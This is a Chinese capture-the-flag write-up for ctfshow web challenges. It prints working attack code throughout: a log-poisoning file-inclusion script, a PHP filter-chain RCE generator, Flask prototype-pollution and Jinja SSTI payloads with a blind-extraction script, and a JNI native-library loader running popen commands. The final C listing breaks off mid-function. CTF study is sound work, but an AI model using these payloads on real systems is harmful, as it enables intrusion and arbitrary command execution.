ctfshow单身杯 wp

ctfshow单身杯 wp

签到·好玩的PHP

 <?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = '';
        private $s = '';
        private $b = '';
        private $ctf = '';

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }

    unserialize($_GET["dsbctf"]); 

可以用PHP中的特殊浮点数常量NANINF来构造payload,因为将这两个常量转成字符串类型之后的md5值与原先的浮点类型md5值相等,又由于类型不相等、长度均为3,所以可以满足最后三个if判断。由于在第一个判断条件中要求变量$dsb的三个字符互不相等,因此只能取INF来构造payload。

但是经过实操,数字也可以。

迷雾重重

看控制器

<?php

namespace app\controller;

use support\Request;
use support\exception\BusinessException;

class IndexController
{
    public function index(Request $request)
    {
        
        return view('index/index');
    }

    public function testUnserialize(Request $request){
        if(null !== $request->get('data')){
            $data = $request->get('data');
            unserialize($data);
        }
        return "unserialize测试完毕";
    }

    public function testJson(Request $request){
        if(null !== $request->get('data')){
            $data = json_decode($request->get('data'),true);
            if(null!== $data && $data['name'] == 'guest'){
                return view('index/view', $data);
            }
        }
        return "json_decode测试完毕";
    }

    public function testSession(Request $request){
        $session = $request->session();
        $session->set('username',"guest");
        $data = $session->get('username');
        return "session测试完毕 username: ".$data;

    }

    public function testException(Request $request){
        if(null != $request->get('data')){
            $data = $request->get('data');
            throw new BusinessException("业务异常 ".$data,3000);
        }
        return "exception测试完毕";
    }


}

有很多的功能点,但是大部分的作用都是混淆视听,真正可利用的漏洞点在testjson部分,这部分的view中的变量是可控的!

image

调试一下,打印输出handler的内容,因为其中调用了handler的render方法。

image

获得handler的内容后跟进render方法。

public static function render(string $template, array $vars, string $app = null, string $plugin = null): string
    {
        $request = request();
        $plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
        $configPrefix = $plugin ? "plugin.$plugin." : '';
        $viewSuffix = config("{$configPrefix}view.options.view_suffix", 'html');
        $app = $app === null ? ($request->app ?? '') : $app;
        $baseViewPath = $plugin ? base_path() . "/plugin/$plugin/app" : app_path();
        $__template_path__ = $app === '' ? "$baseViewPath/view/$template.$viewSuffix" : "$baseViewPath/$app/view/$template.$viewSuffix";

        if(isset($request->_view_vars)) {
            extract((array)$request->_view_vars);
        }
        extract($vars);//重点
        ob_start();
        // Try to include php file.
        try {
            include $__template_path__;//重点
        } catch (Throwable $e) {
            ob_end_clean();
            throw $e;
        }

        return ob_get_clean();
    }

存在

extract($vars);//重点
include $__template_path__;//重点

发现有变量覆盖和文件包含

$var 就是 view方法的第二个参数,污染和过滤 直接导入符号表 形成变量覆盖漏洞

只需要覆盖掉$__template_path__即可转为文件包含漏洞

这里有两种方法,一种是官方wp中所说的找到可供包含的文件,一种是晨曦✌的方法,filter链

现在的问题是 需要找到可以控制的被包含文件

  • nginx apache 不存在,排除日志包含的思路

  • pearcmd 由于命令行启动 这里不能使用php-fpm的方式 包含pearcmd.phpgetshell

  • session 文件包含 需要找到网站部署的目录名字 进行绝对路径包含 相对路径无法定位到session文件

  • 文件上传未开启 无法包含临时文件 和 文件上传 session

  • 远程文件包含 测试发现除了file协议 其他伪协议并未开启

法一

所以我们决定,包含框架日志文件,包含php代码会导致include失败,从而将报错信息不urlencode情况下,写入日志文件,正好包含getshell

image

下面需要确定的就是日志的绝对路径了,通过下面特殊方法获取

image

自己在本地测试一下就可以知道日志文件的格式

所以我们这道题的思路就是包含这个webman的日志文件,通过包含php代码会导致include失败这个特性,include失败后自然就会将报错信息写入日志文件,那么这个php代码也会被写入日志文件,接下来我们只要去包含这个日志文件那么就可以执行任意命令了。但是首先,我们需要知道网站的根目录,知道网站的根目录我们才能去包含webman这个日志文件。

在基于 Linux 的操作系统中,/proc 目录下存储了关于系统和运行中进程的信息。每个运行中的进程都会在 /proc/[pid]/cmdline 文件中保存该进程的启动命令行信息,其中可能包含启动该进程时使用的脚本或可执行文件路径。如果目标 Web 应用的主进程是由一个 PHP 文件(比如 start.php)启动的,cmdline 文件中就可能包含该 PHP 文件的路径信息。

import requests
import time

target='http://c664ff0a-070f-47bc-bf0a-9e9d0c2a8bab.challenge.ctf.show/'

def getwebroot():
    print("Getting webroot...")
    for i in range(1,300):
        resp=requests.get(url=target+'index/testJson?data={{"name":"guest","__template_path__":"/proc/{}/cmdline"}}'.format(i))
        time.sleep(0.2)
        if "start.php" in resp.text:
            print(f"Found start.php in /proc/{i}/cmdline")
            webroot=resp.text.split("start_file=")[1][:-11]
            print(webroot)
            break
    return webroot

def send_shell(webroot):
    print("Sending shell...")
    payload='index/testJson?data={{"name":"guest","__template_path__":"<?php `cat /s000ecretF1ag999.txt >{}/public/flag.txt`;?>"}}'.format(webroot)
    resp2=requests.get(url=target+payload)
    time.sleep(1)

def include_log(webroot):
    print("Including log...")
    payload='index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-2024-11-14.log"}}'.format(webroot)
    resp3=requests.get(url=target+payload)
    time.sleep(5)
    resp4=requests.get(url=target+'flag.txt')
    print(resp4.text)


def exploit():
    webroot=getwebroot()
    send_shell(webroot)
    include_log(webroot)

if __name__=='__main__':
    exploit()

法二:PHP Filter链——基于oracle的文件读取攻击

Filter链所造成的危害的潜力从不会让攻击方感到意外,在PHP文件包含函数中使用filter chain会导致远程代码执行,本文发现PHP Filter链还会导致文件读取漏洞,造成这个漏洞的原因是基于错误的oracle。

我的理解:文件包含的一种非主流用法,include2shell,可以实现rce

https://xz.aliyun.com/t/12939?time__1311=GqGxuD9Qi%3Dn4lrzG7Dy7ILKiIeSioD#toc-0

https://m1racle-7.github.io/2024/10/07/PHP Filter链——基于oracle的文件读取攻击/

https://yvling.cn/2024/10/31/日常记录/2024-10-31-PHP Filter 链任意文件读取/index.html

脚本如下:

<?php
$base64_payload = "PD9waHAgc3lzdGVtKCJjYXQgL3MqIik7Pz4"; /*<?php system("cat /s*");?>*/
$conversions = array(
    '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
    '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
	'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
	'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
	'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
	'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
    'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}

$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=/etc/passwd";
echo($final_payload);

首先生成一个ls /的base64后上传payload。

https://d4d32707-19a5-4ce1-b9be-99e5b41a47f2.challenge.ctf.show/index/testJson?data={%22name%22:%22guest%22,%22__template_path__%22:%22php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd%22}

image

拿下了。

ez_inject

预期解:

登陆后看看功能点

有四个界面

第一个是一个简单的回声装置

image

secret界面如下

image

chat界面如下

image

也就是说让我们在注册界面去污染

登陆的时候发现带有cookie,长这样

eyJlY2hvX21lc3NhZ2UiOiJ7ezErMX19IiwiaXNfYWRtaW4iOjAsInVzZXJuYW1lIjoiYWRtaW4ifQ.ZzRCGg.jcdx1Eta7ZwaMDbjgj5KTHQjxjo

无法确认是jwt还是session,那就分别看看。

image

这么一看那就不是jwt了,确认是session了。

image

发现有个is_admin,根据之前的secret界面,我们是需要把is_admin设置为1的,那就说明我们需要找到secret_key。

根据我写在python原型链污染的笔记中,flask框架的secret_key是可以被污染的。

示例payload如下:

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                "config" : {
                    "SECRET_KEY" :"Polluted~"
                }
            }
        }
    }
}

flask框架,那就是使用普通的merge函数进行污染。

意淫一下网站demo:

from flask import *
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'meteorkai'

class test:
    def __init__(self):
        pass

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

print(app.config['SECRET_KEY'])
instance = test()
payload = {
    "__init__":{
        "__globals__":{
            "app":{
                "config":{
                    "SECRET_KEY":"shuaige"
                }
            }
        }
    }
}
merge(payload, instance)

print(app.config['SECRET_KEY'])
{
	"username":"meteorkai",
	"password":"meteorkai",
	"__init__":{
		"__globals__":{
			"app":{
				"config":{
					"SECRET_KEY":"shuaige"
				}
			}
		}
	}
}

构造如上payload进行污染。

image

登陆后伪造一下session。

image

伪造成功

image

存在SSTI模板注入了。

也不知道过滤了啥,内存马也打不进去,过滤感觉很多的亚子。

cycler["__in"+"it__"]

用这个payload发现有回县,那就慢慢试试。

image

cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag')

这里我发现直接

cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read()

就可以出flag了,非预期解啊,这里其实还有一种非预期解,我待会再说。先来跟着预期解走!

预期解是ssti模板注入的盲注

cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read(1)=='c'
cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read(2)[1]=='t'

image

存在盲注的点!

写脚本盲注

import string

import requests
target='http://a10c89be-8fd7-434f-9523-781ea189a7f0.challenge.ctf.show/echo'
strings=string.ascii_lowercase+string.digits+'{}-'
flag=""
headers={
    "Content-Type": "application/x-www-form-urlencoded",
    "cookie":"user=eyJlY2hvX21lc3NhZ2UiOiJ5b3VyIGFuc3dlciBpcyBUcnVlIiwiaXNfYWRtaW4iOjEsInVzZXJuYW1lIjoibWV0ZW9ya2FpIn0.ZzRT-w.QRUoptsFlBQwrsxuwbrVMELQE54"
}

for i in range(1,50):
    for k in strings:
        temp=flag+k
        payload='''
        cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read({})=='{}'
        '''.format(i,temp)
        data={"message":payload}
        print(payload)
        response=requests.post(url=target,data=data,headers=headers)
        if response.status_code==200 and 'your answer is True' in response.text:
            flag+=k
            print(flag)
            if k=="}":
                exit()
            break
    else:
        print("byebye")
        break

非预期解:

_static_url_path

在我的python原型链污染笔记中有详细说过

由于这是一个flask框架应用,所以是可以使用这种方法的。

将静态文件的folder改成根目录,那么我们访问/static/其实里面显示的就是根目录下的内容

{
	"username":"kkk",
	"password":"kkk",
	"__init__":{
		"__globals__":{
			"app":{
				"_static_folder":"/"
			}
		}
	}
}

然后访问/static/flag就可以啦!

ezzz_ssti

啥也没有过滤,可以直接打,但是把长度限制为40

{{lipsum.__globals__.os.popen('ls').re}}

这么长的payload已经是极限

Flask 框架中存在 config 全局对象,用来保存配置信息。

config 对象实质上是一个字典的子类,可以像字典一样操作。

{{config}}

image

要更新字典,我们可以使用字典中的update()方法

update() 方法 + 关键字参数更新字典从而实现长度的绕过!

Jinja 模板中存在 set 语句,用来设置模板中的变量:{% set var='test' %}

{%set x=config.update(a=config.update)%}
{%set x=config.a(b=lipsum.__globals__)%}
{%set x=config.a(c=config.b.os)%}
{%set x=config.a(d=config.c.popen)%}
{{config.d('ls /').read()}}
{{config.d('cat /f*').read()}}

姿势+1!

简单的文件上传

考点为java沙箱绕过

image

可以上传jar包,执行jar包,删除jar包

首先上传Runtime 的getshell 包,发现没有执行权限

image

也就是说java -jar 命令前面加了 -Djava.securityManager 参数,policy文件内容未知

Java 安全管理器(java.security.Manager)是一个用于增强 Java 应用程序安全性的重要机制,它可以控制程序对系统资源的访问权限,如文件访问、网络连接、加载外部库等。启用后,Java 程序会受限于一组安全策略,这些策略会控制哪些操作是允许的,哪些操作是不允许的。这里runtime的getshell包正是因为此而被阻止。

经过测试后,可以知道jvmuploads 有读权限,同时有loadLibrary.*权限

具有LoadLibrary.*的权限,首先我们要知道LoadLibrary是干嘛的。

loadLibrary 是 Java 中用于加载本地共享库(如 .so 文件、.dll 文件)的一个方法。它是通过 Java 的 Java Native Interface (JNI) 机制来实现与本地代码(通常是 C 或 C++ 编写的)进行交互的关键方法之一。

在 Java 程序中,当你需要调用本地方法时,你可以使用 System.loadLibrary 来加载一个本地库文件(例如 .so.dll 文件),并且该库包含了与 Java 程序交互的本地代码。

所以只要我们上传了so文件,我们就可以通过上传jar包来加载so文件从而执行本地共享库中的命令。

但是这里只能上传jar包,怎么办呢?

把so文件后缀改成jar就行,因为这个so文件只需要上传后调用就行,又不用干其他事情。

恶意方法为 CTFshowCodeManager.eval

然后构造外部jar文件

package com.ctfshow;

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        CTFshowCodeManager.eval("cat /secretFlag000.txt");
    }
}
package com.ctfshow;

public class CTFshowCodeManager {
    static {
        System.load("/var/www/html/uploads/CTFshowCodeManager.jar");
    }

    public static native String eval(String cmd);
}

刚开始搞了半天不行,后来才知道包名一定要是com.ctfshow?!

然后执行上传的jar包就能实现命令执行了

后来反编译一下官方wp提供的恶意so文件:

image

包名(package)在 Java 中与 JNI 调用的本地库中的函数有关,特别是在 JNI 中通过 JNI 方法调用 C/C++ 编写的本地代码时。具体来说,Java 的类名、方法名、以及它们所在的包名需要与本地库中相应的 C/C++ 函数的符号匹配。下面我会详细解释为什么包名和 JNI 函数的匹配很重要,以及包名的变化如何影响本地库的调用。

java包名与本地方法的关系

当你使用 JNI 调用本地方法时,JNI 会根据 Java 类的完整类名来查找本地库中的符号。在 JNI 中,类名和方法名会被转换成 C/C++ 风格的命名方式,因此 包名、类名和方法名的变化都会影响本地库的符号匹配

示例:

假设你有一个 Java 类,如下所示:

package com.ctfshow;

public class CTFshowCodeManager {
    public native String eval(String cmd);
}

这段代码声明了一个 native 方法 eval(String cmd),这个方法将在本地代码中实现。

JNI 在查找本地方法时,会根据 Java 类的包名和类名生成一个特定的符号。

com.ctfshow.CTFshowCodeManager 类的方法 eval 会映射为:

C/C++ 中的符号 Java_com_ctfshow_CTFshowCodeManager_eval

因此,如果你在 C/C++ 本地代码中实现的方法名不匹配这个生成的 JNI 函数名(包括包名的部分),JNI 就找不到这个方法,从而导致调用失败。从而抛出 UnsatisfiedLinkError 错误。

Java JNI调用本地链接库:

https://blog.csdn.net/ZYC88888/article/details/82909205

下面我将用自己编写的恶意so文件与jar包进行复现:

首先编写native方法:

public class NativeLibraryExample {
    public native void nativeMethod(String cmd);
    
    public static void main(String[] args) {
        NativeLibraryExample example = new NativeLibraryExample();
        example.nativeMethod("mate-calc"); // 调用native方法
    }
}

编译成class后生成头文件

image

然后使用C/C++实现本地方法

#include <jni.h>
#include "NativeLibraryExample.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, sizeof(buffer), pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}


JNIEXPORT void JNICALL Java_NativeLibraryExample_nativeMethod(JNIEnv *env, jobject obj, jstring jstr)

{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

